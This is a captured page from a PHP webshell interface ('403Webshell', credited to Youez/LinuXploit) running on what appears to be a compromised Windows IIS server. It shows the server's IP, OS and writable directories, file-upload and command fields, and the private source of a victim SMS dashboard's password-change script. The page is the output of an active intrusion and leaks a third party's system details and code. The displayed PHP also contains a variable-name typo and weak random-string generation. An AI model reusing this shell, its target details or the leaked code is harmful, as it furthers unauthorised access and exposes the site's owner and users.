403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/247sms.com/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/247sms.com/dashboard//cpassprocess.php
<?php
include "general2.php";
include "connect.php";
include 'sendmailclient.php';


function rand_string( $length ) {
		$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";	
		
		$size = strlen( $chars );
		for( $i = 0; $i < $length; $i++ ) {
			$str .= $chars[ rand( 0, $size - 1 ) ];
		}
		
		return $str;
	}
	
	
	
	
	$emailcode = $_SESSION["emailcode"]; 
  $clientemailcode =$_REQUEST["clientemailcode"];
 // $newpass =$_REQUEST["newpass"];
 // $confirmpass =$_REQUEST["confirmpass"];  
  //echo $currentPassword;
  //exit();
  if ($emailcode !=$clientemailcode)
  
  {
     header('Location: cpassword.php?err=1');
	 exit();
  }
  
  
  
   $username = $_SESSION["username"];  
   $newpass = $_SESSION['newpass'];
  $response = changepass($username,$domain,$newpass);
   
   if ($response =="0")
  
  {
  
     //send an email
	 
$email =$_SESSION['email'];	 
$mysub = "Password Change " . $domain;
$myMessage ="Dear <b>". $username. "</b>,<br><br>";
$myMessage .= "You just changed your login password to ". $domain .".<br><br>"; 
$myMessage .= "If you have not requested this change, please contact your Account Manager.</b><br><br>";
$myMessage .= "Thanks for your doing business with us. " . "<br>";
$myMessage .= "<b>Support " . $domain."</b>";

$mysub = "Password Change " . $domain;
$myMessage2 ="Dear <b>". $username. "</b>\n\n";
$myMessage2 .= "You just changed your login password to ". $domain .".\n\n"; 
$myMessage2 .= "If you have not requested this change, please contact your Account Manager.</b>\n\n";
$myMessage2 .= "Thanks for your doing business with us. " . "\n";
$myMessage2 .= "<b>Support " . $domain."\n";

$mymail = sendmailtoclient($email,$myMessage,$myMmessage2,$mysub,$mfrom,$mfromname);

	 
	 //
     header('Location: preferences.php?err=0');
	 exit();
  }else
  {
     header('Location: preferences.php?err=6');
	 exit();
  }
   
  

?>

Youez - 2016 - github.com/yon3zu
LinuXploit